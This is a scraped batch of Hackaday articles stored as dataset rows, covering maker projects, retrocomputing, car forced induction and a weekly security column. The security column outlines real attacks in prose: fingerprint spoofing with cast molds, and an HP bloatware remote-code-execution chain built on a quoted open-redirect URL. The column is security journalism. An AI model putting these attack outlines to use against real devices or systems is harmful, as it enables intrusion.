YouTube
Check
out our Libsyn landing page
Episode 062 Show Notes:
New This Week:
Freaky futurism:
telepresence robots picking up diplomas
robots/drones enforcing quarantines
A ton of people are working from home: what if it sticks?
Interesting Hacks of the Week:
Real Engineering Behind Ventilators
Ventilators 101: What They Do And How They Work
Turn Off Those Batteries With Their Protection Chip
Comment thread about battery resurrection
Simon Says, But With Servos
Reliability Check: Consumer And Research-Grade Wrist-Worn Heart Rate Monitors
A Hacker’s Guide To JTAG
Put An Open Source Demon In Your Pocket
Building The Infinite Matrix Of Tamagotchis
Quick Hacks:
Elliot’s Picks:
Industrial Robot Given New Life And Controller
Full-Colour, Full-Motion Video – On An Audio Cassette!
Nixie Clock Turns Boombox
Mike’s Picks:
R/C Toilet Paper Roll Is The Hero We Deserve
Is This The Oldest Still-Working Geostationary Satellite?
Subwoofer Gets Arduino Brain Transplant
Can’t-Miss Articles:
3D Printering: When Resin Printing Gets Smelly
Star Trackers: Telling Up From Down In Any Space
Navigating The Oceans Is Deadly Without A Clock
Light level geolocator | 0 | 0 | [] | 1,760,373,524.322042 | ||
https://hackaday.com/2020/04/10/3d-printing-fishing-lure-molds/ | 3D Printing Fishing Lure Molds | Al Williams | [
"3d Printer hacks"
] | [
"bait",
"fish",
"fishing",
"lure",
"plastisol"
] | Every fisherman has a secret. A secret spot, a secret technique, or a secret bait. Maybe that’s why tying flies is so popular. [Steve] certainly has is own special lures, although he’s
not keeping it a secret
. (Video, embedded below.) He designs lures in Simplify3D, 3D prints molds, and then casts them.
The 3D printing part is interesting, but it is also kind of neat to see the lures and the natural prey he uses for inspiration. If you want to catch fish, you have to use bait that looks like real food.
[Steve] has other videos that cover more basic lures, but one covers a wavy split line cuttlefish analog and a four-tailed grub. The grub’s mold is in four parts and each part took six hours to print, so this isn’t a project for those of us with short attention spans.
The plastic in use is Dead On Plastix brand “plastisol”. The color is an add-in, so you can create different color bait. In the video, you can see purple and green in the video. The results looked like something you might buy but — of course — better. There was some tweaking needed for one of the molds, but even with the mold that needed tweaking, the results looked fine.
We suppose these could be used
with a drone fishing rig
. In theory, you could use it for
remote ice fishing
, but we aren’t sure how you would jig it by remote control. | 7 | 6 | [
{
"comment_id": "6236075",
"author": "Dieletric",
"timestamp": "2020-04-10T16:13:46",
"content": "Hey, what are you doing going through my YouTube playlist?!? I just started following this fella a few days ago.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6... | 1,760,373,524.363359 | ||
https://hackaday.com/2020/04/10/this-week-in-security-zoom-really-this-time-fingerprints-and-bloatware/ | This Week In Security: Zoom (Really This Time), Fingerprints, And Bloatware | Jonathan Bennett | [
"Hackaday Columns",
"News",
"Security Hacks",
"Slider"
] | [
"bloatware",
"fingerprint scanner",
"phishing",
"SBA",
"This Week in Security"
] | You were promised Zoom news last week, but due to a late night of writing, that story was delayed to this week. So what’s the deal with Zoom? Google, SpaceX, and even
the government of Taiwan
and the US Senate
have banned Zoom. You may remember
our coverage of Zoom
from nearly a year ago, when Apple forcibly removed the Zoom service from countless machines. The realities of COVID-19 have brought about an explosion of popularity for Zoom, but also a renewed critical eye on the platform’s security.
“Zoombombing”, joining a Zoom meeting uninvited, made national headlines as a result of a few high profile incidents. The US DOJ even
released a statement about it
. Those incidents seem to have been a result of Zoom default settings: no meeting passwords, no “waiting room”, and meeting IDs that persist indefinitely. A troll could simply search google for Zoom links, and try connecting to them until finding an active meeting. Ars ran
a great article on how to avoid getting zoombombed
(thanks to Sheldon for pointing this out last week).
There is another wrinkle to the Zoom story. Zoom is technically an American company, but its Chinese roots put it in a precarious situation. Recently it’s been reported that
encryption keying is routed through infrastructure in China
, even though the calling parties are elsewhere. In some cases,
call data itself goes through Chinese infrastructure
, though that was labeled as a temporary bug. Zoom was also advertising its meetings as having end-to-end encryption. That claim was investigated, and discovered to be false. All meetings get decrypted at Zoom servers, and could theoretically be viewed by Zoom staff.
Why does it matter? Is this just anti-Chinese rhetoric? Well, no. When a service like Zoom is hosted on a server in a given country, that service is subject to that country’s laws. China has a rather dismal history of abusing communications infrastructure to spy on and persecute its own citizens. (I am aware that the US has a dismal history there as well. I’m not excited about my conversations being in the clear on a US server, either.) While that’s not necessarily a huge problem for a school doing distance learning, government leaders should probably avoid holding cabinet meetings over the service.
How Secure is that Fingerprint Scanner?
It’s a Hollywood trope at this point. Our hero has to infiltrate the super secret organization, and to get in, he has to defeat a fingerprint scanner. No problem, the hero has lifted a fingerprint earlier in the movie, and with a bit of ingenuity, fools the fingerprint scanner. That’s just the movies, and real fingerprint readers are more secure, right? Well, the Talos group at Cisco
put the myth to the test
. They used a 25 micron UV 3d printer to make a series of molds, and then tried different materials to cast the fake prints. A fabric glue seemed to work the best, as it was able to fool capacitive sensors as well as visual.
A mold could be calculated and printed in an hour in 25-micron resolution. There is some additional time for the cast itself to set, and they conclude that the attack isn’t something that can be performed quickly.
Phones seemed to fare the worst, with a success rate somewhere around 80%. Of particular interest is the devices that were difficult to compromise. Interestingly, Windows Hello, a part of Windows 10, was entirely resilient to their attacks. The Talos researchers suggest that the key here is the comparison algorithm used to compare the scanned fingerprints. Another winner was the pair of USB keys that use a fingerprint scanner to unlock the stored data. Those keys also shrugged off this attack. The Talos researchers made sure to point out that this doesn’t mean that these devices are secure against this type of attack. Their work was intentionally low-budget, and it’s likely a more determined, well-funded attacker could overcome the rest of the devices.
But even if you just want to play around with this at home, with a little effort you can fool
face
and
iris recognition
yourself. And all this aside,
you shouldn’t have to use biometric information in place of passwords anyway
.
Browser News
Running Firefox or the Tor browser anywhere? Go update now, make sure you on 74.0.1 or better (or 68.6.1 if you’re using Firefox ESR). There are
a pair of use-after-free bugs
that are being actively exploited. There aren’t many more details available at the moment, possibly because of related bugs that still need to be fixed.
According to the researcher that found the bugs
: “There is still lots of work to do and more details to be published (including other browsers). Stay tuned.”
On the Google side of the fence,
the big news
is that the new same-site cookies policy is being rolled back. The Chrome blog has a
link to a great explainer
of the potential problem with 3rd party cookies, and how the samesite policy changes can help.
Mobile Apps and Input Validation
A novel paper came across my digital desk this week
(PDF) that introduces a new way to ask an old question: What secrets is this closed-source app hiding? We’ve talked about backdoors, hard-coded passwords, and hidden administrator menus in the past. Most of the time, these are unintentional; bits of debugging code that were forgotten about and never removed. In the linked paper, a technique was developed to examine the input validation code of an app, looking for hidden hardcoded options.
For example, a 3rd party screen lock will take user input, and then make a system call to compare that input against the system password. If there is a string compare that happens before the expected system call, then there might be a secret backdoor password hard-coded into the app. In another example, a translation app had a secret menu, unlocked by entering a hardcoded key, where debugging tasks could be done, like disabling ads.
After scanning 150k Android apps, about 12k were discovered to have hardcoded backdoors, passwords, or debugging menus. In other words, just over 8% of the most popular Android apps have some suspicious behavior built-in.
Via Heise Online
Yet Another Reason to Remove Bloatware
Ahhh, there’s not many things that satisfy quite like unboxing new hardware for the first time. You finally pulled the trigger on a new laptop, and now it’s ready to boot up for the first time. Many of us have a similar policy in these situations: Boot the laptop, uninstall the OEM bloatware. If that isn’t your habit, then maybe
[Bill Demirkapi]’s research on HP bloatware
will convince you.
There’s quite a bit here, but the most interesting attack chain, an RCE, takes advantage of some seemingly unrelated issues. The first is an open redirect on HPs site. This seem innocuous enough. “
https://ers.rssx.hp.com/ers/redirect?targetUrl=https://google.com”
; would automatically redirect you to Google. The second issue is an HP service that registers a custom URL protocol. That protocol downloads and runs or opens the downloaded file. Before starting the download, there is check run that this download is coming from an HP domain. The open redirect comes in handy here, as the redirect is followed after that domain check is performed. An official looking link can then trigger HP’s update downloader, which then will automatically open a downloaded zip file. Yes, it requires two interactions to compromise, but is a clever chain nonetheless.
Covid-19 Scamming
Yet another installment of our Coronavirus scamming story. This week we’ll look at
emails claiming to be from the US Small Business Administration
(SBA).
I received this email Tuesday the 7th, and took a moment to realize it was a fake. The first giveaway is that the attachment is a
.img
, rather than a PDF or other image file. That disk image contains a “SBA_Disaster_Application_Confirmation_Documents_COV_Relief_doc.exe” executable. There are a few other tip-offs that this probably isn’t a legitimate communication, like the spelling of “centres” and “endeavour”, using the British spellings. The last, and perhaps most obvious flaw, is that the date has already passed.
Hold on to your hats, because we’re about to speculate. You see, this email came in only a few hours after I filled out some online paperwork for an Economic Injury Disaster Loan, on the official SBA website. I very nearly fell for this, because the timing was so spot-on. It appears that the SBA is leaking information about grant applicants, and someone is using that leak to run a phishing campaign. | 9 | 5 | [
{
"comment_id": "6236047",
"author": "Miroslav",
"timestamp": "2020-04-10T14:20:17",
"content": "Thanks for pointing out that spying by *any* government or other entities on their citizens is bad.And please Hackaday, if you want to continue deleting my comments, please do so, but don’t delete commen... | 1,760,373,524.608743 | ||
https://hackaday.com/2020/04/10/iceland-is-doing-its-covid-19-proximity-tracing-the-open-source-way/ | Iceland Is Doing Its COVID-19 Proximity Tracing The Open Source Way | Jenny List | [
"News"
] | [
"Covid-19",
"Iceland",
"personal privacy",
"privacy"
] | As governments around the world grapple with the problem of tracing those who have had contact with a person known to have been infected with the COVID-19 virus, attention has turned to the idea of mobile apps that can divulge who a person has been near so that they can be alerted of potential infections. This has a huge potential for abuse by regimes with little care for personal privacy, and has been a significant concern for those working in that field. An interesting compromise has been struck by Iceland, who have produced an app for their populace that stores the information on the device and only uploads it with the user’s consent once they have received a diagnosis. We can all take a look, because to ensure transparency
they have released it as open source
.
On signing up for the scheme a central server stores the details of each user as well as their phone number. When the epidemiologists have a need to trace a person’s contacts they send a notification, and the person can consent to their upload. This is a fine effort to retain user privacy, with depending on your viewpoint the flaw or the advantage being that the user can not have their data slurped without their knowledge. Iceland is a country with a relatively small population, so we can imagine that with enough consent there could be effective tracing.
We installed the Android version on the Hackaday phone to have a look, but unfortunately it seems to need to be in Iceland to be of use enough to explore. We would be interested to hear from our Icelandic readers, to hear their views. Meanwhile readers can juxtapose the Icelandic app with
another proposal for a more anonymised version
. | 6 | 4 | [
{
"comment_id": "6236039",
"author": "Max",
"timestamp": "2020-04-10T14:00:52",
"content": "The concept of the PEPP-PT (Pan-European Privacy-Preserving Proximity Tracing) group seems quite reasonable. Contacts are UIDs which are stored only on the phone when two clients have bluetooth contact for ce... | 1,760,373,524.56168 | ||
https://hackaday.com/2020/04/10/accessible-controller-plays-around-with-modularity/ | Accessible Controller Plays Around With Modularity | Kristina Panos | [
"Games",
"how-to"
] | [
"3.5mm",
"adaptive controller",
"assistive device",
"Joystick",
"ps3",
"ps4"
] | Video games are a great way to have some fun or blow off a little steam when real life becomes laughable. But stock controllers and other inputs are hardly one size fits all. Even if you have no physical issues, they can be too big, too small, or just plain uncomfortable to hold.
[kefcom] wrote in to give us a heads up about
a modular, adaptive system he designed for anyone who is unable to operate a PS3, PS4, or PC with a standard controller
. The project was inspired by Microsoft’s adaptive XBOX controller and works pretty much the same way — broken-out buttons, joysticks, and other inputs all connect to a hub that unifies them into a controller the console or computer can communicate with. The major difference is that this project is open source and can be realized much more cheaply.
If you want to give this a try,
[kefcom]’s project repo
has step-by-step instructions for disassembling two types of wireless controllers and converting them into hubs for modular controls. He’s looking for help with design, documentation, and finding reliable suppliers for all the parts, so let him know if you can assist.
Some players need something more accessible than just broken-out buttons and full-size joysticks.
Here’s an adaptive controller that uses ridged foam rollers to actuate buttons
. | 8 | 3 | [
{
"comment_id": "6235986",
"author": "colin",
"timestamp": "2020-04-10T08:43:55",
"content": "Expensive way to cable!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6235987",
"author": "kefcom",
"timestamp": "2020-04-10T08:55:10",
"co... | 1,760,373,524.651483 | ||
https://hackaday.com/2020/04/09/a-fantastic-raspberry-pi-handheld-just-got-better/ | A Fantastic Raspberry Pi Handheld Just Got Better | Tom Nardi | [
"handhelds hacks",
"Raspberry Pi"
] | [
"handheld",
"portable",
"qwerty",
"sidekick",
"slider",
"umpc"
] | Last year, we brought you word of the MutantC by [rahmanshaber]. The Raspberry Pi handheld was more than a little inspired by the classic T-Mobile Sidekick, with a sliding display and physical QWERTY keyboard. The design was a little rough around the edges and missing a few key features, but it was clear the project had a lot of potential.
Today,
we’re happy to report that [rahmanshaber] has officially released MutantC_v2
. It looks like the new version of this handheld, perhaps more properly categorized as a ultra-mobile PC (UMPC), successfully addresses a number of the shortcomings found in the original; so if you held off on building one last year, you might want to start warming up the 3D printer now.
The major improvement over the original is the inclusion of a battery, which makes the device truly mobile. This was something that we mentioned
[rahmanshaber] was working on back when he released the first version
, as it was easily the most requested feature from the community. We certainly wouldn’t say a miniature handheld computer is
completely
useless if it has to stay tethered, but there’s no arguing that being able to take it on the go is ideal.
This upgraded version of the design now officially supports the Raspberry Pi 4 as well, which previously [rahmanshaber] was advising against due to overheating concerns. Slotting in the latest-and-greatest edition of every hacker’s favorite Linux single board computer will definitely kick things up a notch, though we imagine the older and less power hungry iterations of the Pi will be plenty for the sort of tasks you’re likely to be doing on a gadget like this.
If you like the idea of having
a diminutive Linux computer within arm’s reach of your bench
but aren’t necessarily committed enough to build something like the MutantC,
there are certainly simpler designs you can get started with
. | 23 | 11 | [
{
"comment_id": "6235963",
"author": "Kevin Shumaker",
"timestamp": "2020-04-10T05:34:54",
"content": "I create mobile Pis for grandchildren and friend’s grandchildren and children. I use a Lite or Desktop Raspbian, add Samba Services, miniDLNA, turn on VNC (for Desktop) and SSH access. Install Acce... | 1,760,373,524.818503 | ||
https://hackaday.com/2020/04/09/controlling-a-building-sized-pipe-organ-with-midi/ | Controlling A Building Sized Pipe Organ With Midi | Danie Conradie | [
"Musical Hacks"
] | [
"midi",
"MIDI organ",
"pipe organ"
] | Musical instruments come in all shapes and sizes. For sheer scale and complexity though, you can’t beat pipe organs. [Rob Scallon] visited the Fourth Presbyterian Church in Chicago to look at their
massive pipe organ
which boasts over 8000 individual pipes. He also discovered that it has a MIDI interface, and off course hooked up his laptop to play the
Mario Bros theme song
.
This organ is actually the third one the church has had, and was completed in 2016. Its capabilities are impressive, but the engineering side of it is what really blew us away. Every pipe is unique to allow it to recreate the sound of almost an entire orchestra, and the “control station” looks a bit like the cockpit of modern airliner in terms of complexity. The organ covers multiple stories across multiple parts of the church and every single pipe and part needs to be accessible for tuning and maintenance, which is almost a full time job. Check out the first video after the break for a full demonstration and tour of this incredible machine by [John Sherer], the church’s music director and organist.
The second video after the break goes through the process of hooking up a laptop to the organ after getting a technician to completely wire up the MIDI interface. They go full music geek as they marry ancient and modern music technology. [Rob] says it multiple times, and we have to believe that you need to be in the building to truly experience the sound. Let us know in the comments if any readers have heard this organ in person.
Pipe organs have been built since the second century BC, and we’ve had a number of projects here on Hackaday, including a surprisingly capable
PVC version
and one that a Texas Instruments engineer
quit his job to build
. | 13 | 8 | [
{
"comment_id": "6235930",
"author": "Patrick Dent",
"timestamp": "2020-04-10T02:31:36",
"content": "I have a great fondness for pipe organs, as the world’s greatest mechanical instruments and hearing one as powerful as this belting out Bohemian Rhapsody is enough to bring a tear to anyone’s eye.I s... | 1,760,373,524.755899 | ||
https://hackaday.com/2020/04/16/econet-britains-early-educational-network/ | Econet – Britain’s Early Educational Network | Al Williams | [
"Retrocomputing"
] | [
"acorn",
"bbc",
"BBC Micro",
"britain",
"econet",
"uk",
"United Kingdom"
] | If you compare the early PC market for the US and the UK, you’ll notice one big difference. While many US schools had Apple computers, there were significant numbers of other computers in schools, as well. In the UK, pretty much every school that had a computer had an Acorn BBC Micro. [RetroBytes] takes us down memory lane, explaining how and why the schools went with
Econet
— an early network virtually unknown outside of the UK. You can see the video, which includes an interview with one of the Acorn engineers involved in Econet.
Nowadays, you don’t have to convince people of the value of a network, but back then it wasn’t a no brainer. The driver for most schools to adopt networking was to share a very expensive hard disk drive among computers. The network used RS-422, a common enough choice in Apple computers, spacecraft, and industrial control applications.
Econet had a lot of things we take for granted today. E-mail, chat, remote desktop, and more. In theory, speeds could be as much as 100 kB/second. There was even an X.25 gateway if you wanted to connect to faraway schools or a mainframe. Oddly enough, Econet required a “clock box” that provided the data clock for all stations on the network.
It is hard to remember there were so many network solutions before Ethernet. Everyone had their own horse in the race ranging from ARCnet, Token Ring, and Omninet, to name a few. There were some IBM PC Econet cards produced, but according to [RetroBytes] they were expensive and hard to find.
Like all networks, though, Econet would eventually succumb to Ethernet. It took a while, though. The Linux kernel even had support for it until fairly recently.
As common as RS-422 is in industrial settings, we haven’t seen much of it around here. Sure, there was an
X-ray sensor
. Then there was the
thermal camera photo booth
, but that might have been RS-485, which is related to RS-422 and is sort of a bidirectional version of RS-422. | 22 | 12 | [
{
"comment_id": "6237989",
"author": "Morberis",
"timestamp": "2020-04-17T07:52:53",
"content": "RS-422 is used in some industrial equipment still. I haven’t seen a device that uses it myself but I’ve seen support for it built into protocol converters/gateways. You know the trifecta, RS-232, RS-422,... | 1,760,373,524.931269 | ||
https://hackaday.com/2020/04/16/the-three-shell-mystery-finally-solved/ | The Three Shell Mystery Finally Solved! | Moritz v. Sivers | [
"Medical Hacks"
] | [
"arduino nano",
"handwash",
"handwashing",
"Neopixels"
] | While we certainly acknowledge the valuable contributions of the open hardware community that help to mitigate the coronavirus crisis, we are also looking forward to the days when people start going back to building other things than 3D-printed face shields, pandemic trackers, and automatic soap dispensers. However,
this handwash timer
by [Agis Wichert] is a very creative version that also tries to solve the long outstanding mystery of
how to use the three seashells.
Unfortunately, in contrast to those in the original movie, these three seashells do not replace toilet paper which many people are seemingly so desperate in need of at the moment.
The build is quite simple and requires only a few off-the-shelf components including a Neopixel strip, IR proximity sensor, and an Arduino Nano. The plastic seashells were taken from the classic German “Schleckmuschel” candy, thereby giving the project an extra retro twist. As shown in the video embedded below, the timer works by consecutively dimming the LEDs located under each seashell until the recommended duration of 20 seconds has elapsed which is indicated by shortly flashing all LEDs.
Handwash timer projects do not always have to be visual as
this one playing your favorite Spotify tunes
proves. What we really would like to see though is someone building a toilet paper dispenser that is triggered by swearwords. | 9 | 5 | [
{
"comment_id": "6237939",
"author": "asldkfj",
"timestamp": "2020-04-17T02:38:32",
"content": "If anyone wonder it’s from demolition man (https://www.imdb.com/title/tt0106697/?ref_=nv_sr_srsg_0)In the future somehow they use only “3 seashells” in the bathroom.",
"parent_id": null,
"depth": ... | 1,760,373,524.974055 | ||
https://hackaday.com/2020/04/16/automatic-timelapses-made-educational-and-easy/ | Automatic Timelapses, Made Educational And Easy | Donald Papp | [
"how-to",
"Video Hacks"
] | [
"raspberry pi",
"time lapse video",
"timelapse"
] | Timelapse fragment from an infrared sky camera watching cloud patterns.
There are plenty of ways to create timelapse videos, but [Andy] has
an efficient method for ensuring up-to-date ones exist for his infrared sky camera
, and he has it running thanks to some well-documented shell scripts on a spare Raspberry Pi. The resulting timelapse video is always available from the web, and always up-to-date for the current day.
The idea is to automatically fetch images from a remote source (in his case, an infrared sky camera) and turn them into a cumulative video that is regularly updated for the day in question. The resulting video file is either served from the same machine, or sent elsewhere. All that’s needed besides a source for the stills are two shell scripts and some common Linux utilities.
Since [Andy] is mainly interested in tracking clouds his system only runs during daylight hours, but it can be easily changed. In fact, [Andy]’s two shell scripts are great project resources, not only because they are easily modified and well documented, but because he doesn’t make assumptions about how well one might know the command line. He also provides tips from experience; for example he has found that a 120 second interval makes for the best timelapses.
[Andy] runs his scripts on an Raspberry Pi 4, but any Linux system will do. For those who might prefer a more embedded approach,
the ESP32-CAM can make a great time lapse camera with remarkably little effort
. | 2 | 2 | [
{
"comment_id": "6237927",
"author": "geocrasher",
"timestamp": "2020-04-17T00:59:52",
"content": "I really like this! I did something similar with a Pi Zero W, also with bash scripts, but I have it moving the files via rsync to another more powerful server where I build the time lapse video with ff... | 1,760,373,524.876998 | ||
https://hackaday.com/2020/04/16/puttering-around-in-a-converted-golf-cart/ | Puttering Around In A Converted Golf Cart | Kristina Panos | [
"car hacks",
"Misc Hacks"
] | [
"bullet mirrors",
"expanding foam",
"fiberglass",
"golf cart",
"sports car"
] | Technically speaking, golf carts are already sports cars, they’re just not very sporty in themselves. When [rtkerth] went to trade in his old golf cart for a new one, he found that it would be more valuable to hang on to the old one and have a bit of fun with it.
The result is retro-styled kart that would not look out of place at a micro car show
.
Before getting to the really fun bits, he had to do a bit of prep work, such as relocating the six large batteries so that super cool stock seat can sit lower. Now the batteries are distributed throughout the vehicle, including one that’s been cleverly disguised as center console. Since the cart won’t be hitting the links anymore, there’s no need for a place to put clubs. Two of the batteries are now in the back, supported by a platform made from old bed frames.
We love the fiberglass fab work [rtkerth] did to the front and rear — it looks great, especially considering he’d never done it before. The rear is done more traditionally with a foam mold, but the front is fiberglassed directly over expanding foam insulation framed with cardboard. The local body shops refused to paint this baby roadster, so [rtkerth] did it himself before adding the killer touches — 1930s Brooklands-style windscreens and 1950s bullet mirrors that look great together.
Believe it or not, this isn’t the first amazing golf cart mod we’ve seen.
Go see this baby DeLorean before you’re outta time
. | 16 | 7 | [
{
"comment_id": "6237866",
"author": "Steven-X",
"timestamp": "2020-04-16T20:30:28",
"content": "Now I want one.Especially since my commute is only 5 minutes.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6237873",
"author": "Kevin Kessler",
... | 1,760,373,525.259569 | ||
https://hackaday.com/2020/04/16/as-a-matter-of-fact-its-all-dark/ | As A Matter Of Fact, It’s All Dark | Bryan Cockfield | [
"Radio Hacks"
] | [
"astronomy",
"dark side",
"far side",
"moon",
"nasa",
"observatory",
"radio",
"telescope"
] | While the dark side of the moon wasn’t seen by humans until the middle of the 20th century, that side of the moon isn’t always dark, just hidden from view of Earth by a quirk of gravity. The more appropriate name for the other half of the moon is the “far side”, but while it gets just as much sunshine as the near side does it is dark to one thing in particular: man-made radio waves.
That, along with the lack of an atmosphere and ionosphere on the moon, makes it a perfect place for a new telescope
.
This telescope isn’t like something you’d set up in your back yard, either. It’s more similar to the
Aricebo Observatory
in Puerto Rico which uses natural topography to help form the telescope. The proposed telescope on the far side of the moon would use a robot to deploy a net along a fairly large crater to act as a parabolic dish, while another robot would suspend the receiver above the crater. The large size is necessary for viewing deep into space, but is also because of the low-frequency radio signals they hope to capture.
Building a dish like this on the moon is sure to be no easy task, especially since remote control on the far side of the moon is difficult for precisely the reasons that make this a good location for a telescope. But with an appropriate amount of funding and some sufficiently autonomous robots it should be possible. Plus,
you never know what you’ll find
when looking deep into space. | 41 | 13 | [
{
"comment_id": "6237836",
"author": "Ry Yelcho",
"timestamp": "2020-04-16T18:43:52",
"content": "You would need a satellite in lunar synchronous orbit that would see the telescope and earth at the same time. The Chinese did this with their far side rover.",
"parent_id": null,
"depth": 1,
... | 1,760,373,525.497312 | ||
https://hackaday.com/2020/04/16/how-to-get-into-cars-forced-induction/ | How To Get Into Cars: Forced Induction | Lewin Day | [
"car hacks",
"Hackaday Columns"
] | [
"cars",
"supercharger",
"turbocharger"
] | For those addicted to automotive thrills, there’s always an underlying lust for more power. For those chasing a bigger number, forced induction is one of the most effective ways to achieve it. In addition to more grunt, you get a whole bunch of fun new noises, too. For those with a naturally aspirated car, here’s how you go about converting to forced induction.
Superchargers and Turbos
When we talk about forced induction, we’re talking about forcing more air into the engine under pressure. With more air available, it’s possible to fully combust more fuel, creating more power. The two most common ways of doing this are supercharging and turbocharging. We’ll be using the common automotive vernacular here, so those eager to bicker about terminology from the early 20th century aircraft industry best do it in the comments.
A large supercharger installed on a V8 engine in a drag racing car. Note the large toothed belt which turns the supercharger – this helps avoid belt slip.
Superchargers are essentially air compressors that run off a belt connected to the engine’s crankshaft. As your engine spins faster, the supercharger spins faster, producing more air pressure, or boost pressure, thus giving the engine more air to work with.
Because the supercharger’s output changes with engine speed, they’re great for providing a power boost while maintaining a predictable, linear power delivery from the engine. Installation is also usually simple – involving an intake pipe, a few brackets and running a new belt and pulley.
Superchargers come with a drawback, however – they require a significant amount of power from the engine to run. It’s obviously less power than they add, but it is a parasitic loss that must be accounted for. They also tend to have a powerband issue. As the RPM of the supercharger changes with engine speed, if it’s set up to produce just enough boost up top, it’ll be a little underwhelming at low RPM. There’s always a tradeoff to be made.
A diagram of a typical turbocharger install on a gasoline engine.
Turbochargers also compress air to feed into the engine, but instead of being run by a belt, the compressor wheel is spun by a turbine fed by the engine’s exhaust gases. This is essentially using what was waste energy to add power to the engine, eliminating the parasitic loss inherent in supercharging.
Because they’re not running in lockstep with engine RPM, turbos can create large boost throughout the rev range if set up properly, making it easier to provide low-end torque without sacrificing as much top-end power.
However, turbochargers suffer what’s known as turbo lag. This is the delay between putting your foot on the accelerator, and the exhaust gases spinning up the turbine to a level that produces boost. Choosing the right size turbo for your application and using a modern design can help reduce this, but older designs or poor part choices can produce significant lag. 80s turbo cars were renowed for this, with very sudden power delivery when coming on boost. In street and road racing applications, this can be difficult to deal with.
There’s also the case of complexity. A turbocharger install requires both intake and significant exhaust modifications, and is usually a more difficult install. You’ll also have a wastegate that dumps excess exhaust gas when the desired boost level is reached, potentially with a boost control solenoid in-line to control when it opens. Additionally, you may want to install a blow-off valve to dump excess intake pressure when coming off the throttle to avoid compressor stalls which can cause damage.
Whether supercharger or turbo is better depends on your application. Depending on your car, you may find there are more readily available supercharger or turbocharger kits, and you may have your own ideas about which you prefer. There’s no single right answer – fundamentally, it’s your build. Weigh up the pros and cons, and look at them against what you wish to achieve with the car. If you’re looking for an easy install and a moderate power bump, a supercharger may be the go. If you want huge power numbers and can deal with the hassles, turbos may be more your speed.
What’s Intercooling?
A large front-mount intercooler installed on a Mitsubishi Lancer EVO.
Both turbochargers and superchargers compress air to force more of it into the engine, heating the air. Hotter air is less dense, reducing power output, so ideally, we want to keep the air as cool as possible. Additionally, it increases the chance of the fuel charge detonating instead of burning smoothly, also known as engine knock. This can destroy an engine, so it’s best avoided.
To reduce this problem, many setups involve running an intercooler between the charger and the engine. This can be an air-to-air radiator or an air-to-liquid setup. This helps remove heat from the intake air charge, improving power and reducing the likelihood of engine knock. An intercooler isn’t always required, but without one, intake temperatures and the threat of detonation will limit your maximum power. Depending on your goals, this may or may not be a problem for your setup.
Getting An Installation Done
Superchargers come in a variety of types and styles. Left, we see a Roots-type blower that bolts directly to the engine’s intake ports, while on the right, we see a centrifugal blower mounted on an accessory bracket.
If you want to go with a supercharger, in addition to the compressor, you may need a bracket to hold it on the engine, a belt and pulley system to spin it up, and a pipe to connect the output of your supercharger to your intake manifold. Pulley size determines the gear ratio between the crankshaft and the supercharger; often several pulley sizes will be available with any kit to change the boost pressure. If a kit for your application isn’t available, you can always fabricate your own parts.
A large single-turbo install on an LS engine. Note the air-to-air intercooler mounted in front of the radiator.
If you’ve chosen to turbocharge instead, you’ll first need a turbo. You’ll need an exhaust manifold to duct gases to the turbine, and a dump pipe to then take the exhaust from the turbo out the back of the car. You’ll need to hook the compressor’s output up to the intake manifold with a pipe too.
If your turbo has an internal wastegate, you’ll need to run a boost reference line from the intake to the wastegate actuator. If it has an external wastegate, you’ll still need to do that, but you’ll also need to install the wastegate into the exhaust. You may also choose to run a blow-off valve. This is a valve that releases pressure built up in the intake manifold when you suddenly come off the throttle. This pressure back-up can stall the compressor wheel in the turbo, causing damage, so a blow-off valve prevents this by venting either to atmosphere or back to the intake, pre-turbo. If you want that glorious “PSSHHHH” sound every time you come off the throttle, you’ll want to vent to atmosphere.
Whether you’ve gone for a supercharger or turbocharger, you’re now adding more air to the engine. Thus, you now need to add more fuel. For fuel-injected cars, the best way to handle this is by going with an aftermarket ECU. This allows fuel and ignition maps to be customized for your setup, allowing you to ensure the air-fuel ratio is correct, and that you’re not running too much ignition timing and causing detonation. Generally, employing the services of an experienced tuner is a good idea, as they’ll be able to set up your maps without blowing up your engine.
For carbureted setups, you’ll want to get yourself a carby designed to work with a boost reference to ensure the right amount of fuel reaches the cylinders. Again, the services of an experienced tuner are invaluable here to make sure you’ve got things right.
Finally, you’ll now want to only run on premium fuel. When your engine runs under boost, it’s key to use fuel with a higher octane rating to avoid detonation. Otherwise, you’ll have a boat anchor under the hood before you know it.
Potential Caveats
Switching your engine over to forced induction is a major change, and comes with many pitfalls. You may find that running boost into your engine leads to bending the connecting rods, destroying the engine. Your fuel pump may not be able to deliver enough fuel to keep up with the additional air, or your injectors may not flow enough. Alternatively, your engine may run just fine, but deliver so much additional torque that it burns your clutch out or destroys your gearbox on the first launch.
Some or all of these may happen to you, or yet another fun and terrible calamity may befall your car. The best way to avoid all of these is research. Almost every car out there has had someone poke around under the hood, and there’s plenty of knowledge out there on the limits of common parts. Everyone knows that the 5.0 in the Fox Body Mustang likes to crack the block around 500 hp, just as everyone knows the B6 in the Mazda MX-5 tends to bend rods when putting out high torque below 4000 RPM. Your community will be a great guide here. If you’re doing something unique and nobody knows, then good news – it’s your job to find out and share your results with everybody!
Going for forced induction isn’t easy. YouTubers will show you a $150 turbo and make it look like a cinch, but in reality, there’s a huge amount you’ll need to spend on supporting components. Mighty Car Mods did a great job busting this myth recently,
revealing their eBay turbo install on a Toyota Yaris came in at an eye-watering $13,579 AUD when all was said and done.
Oh, and it blew up within a few launches, anyway.
Despite the difficulties, there’s plenty of gains to be had if you’ve got the money and the mettle. Do your research, and be prepared to triple your initial budget when things start to go wrong. But most of all, grab your wrenches and a few pals, and have at it! | 43 | 13 | [
{
"comment_id": "6237804",
"author": "Steven",
"timestamp": "2020-04-16T17:17:35",
"content": "And then there’s the occasional Electrically Operated Supercharger, which is basically a brushless motor with an ESC driving a ducted fan.",
"parent_id": null,
"depth": 1,
"replies": [
{... | 1,760,373,525.424194 | ||
https://hackaday.com/2020/04/16/software-shortcut-keyboard-registers-many-macros/ | Software Shortcut Keyboard Registers Many Macros | Kristina Panos | [
"Arduino Hacks"
] | [
"16x2 LCD",
"arduino",
"arduino pro micro",
"Cherry MX blue",
"macro keyboard",
"rotary encoder"
] | [FabroLabs Technologies] is an industrial designer who uses several creative-type software programs in a given day. Unfortunately, they all have slightly different shortcut schemes, and trying to remember all the different modifiers is a waste of time better spent elsewhere.
